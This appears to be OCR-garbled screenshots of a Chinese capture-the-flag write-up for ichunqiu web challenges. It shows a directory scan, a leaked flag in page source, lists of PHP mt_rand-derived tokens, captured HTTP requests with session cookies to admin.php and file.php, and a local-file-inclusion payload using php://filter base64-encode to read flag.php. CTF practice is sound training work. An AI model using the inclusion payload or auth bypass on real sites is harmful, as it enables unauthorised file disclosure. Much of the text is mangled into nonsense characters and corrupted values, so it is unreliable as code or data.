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LISt of dient scripts

:I"\S - | List of files with inputs
= {2 Site Structure
= @9 / oK
= @5 css OK
i E bootstrap-theme, min,css OK
-[© bootstrap.min.css oK
I-il @ fonts Not Found
Pl glyphicons-halfingsregular....  Not Found
@D icons Mot Found
B MG oK
B @ is oK
& bootstrap.min.js oK
_ (& iquery.min.js oK
|+ home.php ;
= index.php oK
- ww action=album oK
www zction=home OK
wew action=passa... oK
~ wwe Varigtion 1 for user-agent 0K
&l Coankies

X I, H passage.phpAlalbum.php

K& Wactionf& LA EEE, ik, flag

' view-source:http://b0c164a2e2f7449883a2363818e04b67d681bab2fffe435a.game.ichungiu.com/index.php?action=flag
BEIFEGH

{?php
$flag="flag{dalbcl05-0b34-4577-b56d-8c3324b6b2a8} “ ;

Step by step

Robots.txt->Code.zip3REXJES, TEEkMEE (LEBEC) REIEENRL
HHEY, Bid$seeddt Bt M AT HIE,



OCo =1 Ul d= LMD =TT

ERxFR N, seed, 16BEHLEL, 10hLBENLEL

- BKS jLIHOAMWMIsgd

: JaSo91R91V4LIMOu:

: JY85I6JFAtP jmsxh

:BoRkshFA3Jgbl7mU:
:c3Hkb jSLRyWO8WIR :
:WdhkXw48FfxLoNGE:
1g6PXYdewgYyeGLlzG:
:OVWQIbSCEQCFLHA:
119¢colMGYo J9xAcLK:

:9NEEF91QlanZKipi

:bTLDXYGG Ty
v6C0zttGmI
:RFqxMI1DQ1E
T4Itb1CCvW
peJwWam]iN
R91140T1BU
uDxZIpgvGV
TaFDQ1mPxy
DZD5B1HRVL
:fLOFZthx6q

:038FNIpZFAWEmRoT :
:YebuCYroAgEn9gEk
:0Bg2q4HSav4cfR75:
nyVilgeZboHpLynX:
:EeVOhN9ORXcnEtQw:
1 j1ZKd2wlreGhQYsS:
:WPDAIR7iNsW0Qvki
:S1G01h61nKugwWAx :
:veFAhU140mpaPJa]:
- 3AVKpSipPP57PhYa
:zh37gdlxewQdMuDce :
:BmrQSchbmRd js jvP:
:XsDgAw jnZ00gqVta:
:DPAYVWS JVEQYZgLn
:csRdaQWIwEqn9Gtx:
- hRAATAYYK j2qtxBY

- TVOTTT A1 oxr omr el .

& Fladmin.php

Zgqfltteclau

:6£03953Dgn

TT1xrul86G
NySvevs4ds
CHntYHOUH7
2nU2e7TFSI

15 jdtAkeyrl

Tiw7dUBALT
Uj88wPjIqK
bbwLW jBHCd
vkm1TWrTnG
tZKkeChgiV
nCYm90B2Y4

:MkKA9UgaZa

irLBPbwuRy
BTNoydh8BC

r T TT

GET fadmin.php?authﬁdmfﬁ;ED1TthYDulike HITP/1.1

Host: dB8381799047741ef837457ecf0575b429504c84cd3ff4a55. gans. ichungiu. com

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x=64; 1v:56.0) Gecko/20100101 Firefox/56.0

Aecept: text/html, application/xhtml+xml. application/=ml:q=0. 9, ¥/ q=0. 8

Accept-Language: zh-CN, zh;q=0. 8, en-US;g=0. 5, en; g=0. 3

Accept—Encoding: gzip, deflate

Coockie: UM_distinctid=15e311dc4fd39a-051f2e455e98bh5-4c322cTf-144000-15e311decdfe232; pgv_pwvi=5110723584; Hm_lvt_9104989ce242a8e0304
Hm_lvt_1a32f7cB60401887db0960e9c314b022=1507808179, 1508255175 ; Hm_lvt_2d0601bd28deTd498182400£35d95543=1500753331, 1500770939, 1509777095, 1509821324,
chkphone=acWzlNpxhQpliAchhiiuSnEqyiQuDI00000; browse=CFlal=zUYUOBEVIhG VO] TRFEISkdeQF SYWFNFRFpRWOITUVSFELILTgBIKUNZQVE0G 11 ZTFRIVOVIVEVEX 1= YTUIRWOSbQINEWOF TCA,
Hm_lprt_2d0601bd28de7d49818249c£35d95943=1509832030; PHPSESSID=th74cjusTgdipinv22587vdo 8

Commection: close

Upgrade—Insecure-Requests: 1

HEFget3 3

83t §5 0 4true3k&ile.php

50328=1507908179. 1508255175

POST /file.php HITP/1.1

Host: d8381799047741ef83745Twcf0575h4e0504c84cd3ff4a05, gans. ichungiu. com

User—Agent: Mozilla/5.0 (Wiu;aws NT 10.0: Winf4: x64: rv:56.0) Gecko/20100101 Firefox/36.0

Accept: text/plain, #/#%; g=0.01

Accept-Language: zh-CHN, zh:g=0. 8, en-US;g=0. 5. en.g=0. 3

Aecept-Encoding: gzip, deflate

Content-Type: application/z-www—forn-urlencoded: charset=UTF-3

¥-Requested-With: XMLHttpRequest

Referer: http://d8381799047741ef837457ecf0575h4e9504c84cd3ff4a55. gane. iclimgiu. con/admin. php?anthddnin=2017CtfTiulike
Content-Length: 20

Cookie: UM_distinctid=15e311dcdfd39a-051f2e455e98h5-4c322cTf-144000-15e311dedfe232; pgv_pvi=5110723584; Hm_lvt_9104989ce242a820304 50328=1507908179, 1508255175;
Hm_lvt_1a32f7c660491887db0960e9c314b02 7908179, 1508255175 ; Hm_lvt_2d0601bd28de7d49818248:f35d950943=1508753331, 150 0939, 1508777095, 1509821324
chkphone=acWelipzhApDiAchhlluSnE qviQuDI000C browse=CFlalzUYU0BfV1hG VO] TRFEISkdeqF SYWFNFRFpRWO0 I TUVSPELILTgBIXUNIQVE0G11ITFRIWOVTVEVEX 1Y TUIRWO OO INEWOFTCA ;
Hm_lpvt_2d0601hd28de7d48818249c£35d95943=1509832930; PHPSESSID=thT4ojusTedipinmv2258Tvdoi6

Commection: close

id=kauth=1234567800x

F & Blauthi){E

YRS itHile.php, & W& flag



INT v = & SQLBASICS- UNION BASED- ERROR/DOUEBLE QUERY~ TOOLS+ WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS+ LFI-

@ Load UIEL http://c9805a9384e6453b956883f0b9080add8c72c532bf4e40e1.game.ichungiu.com/file.php?id=php://filter/read=jpgconvert.base64-encode/resource=./flag.php
% split URL

4 Execute

Postdata [ ] Referrer @ OxHEX » 4% %URL ¥ &% BASE6A ™ | /nsert string to repfacc| ‘fﬂ?se;t replacing string Replace All 2 =

Post data auth=1234567890x

{?php

K AEY-ol ] ag (3221592F—19c2—-4bf0-b032-38d5094b1 18/
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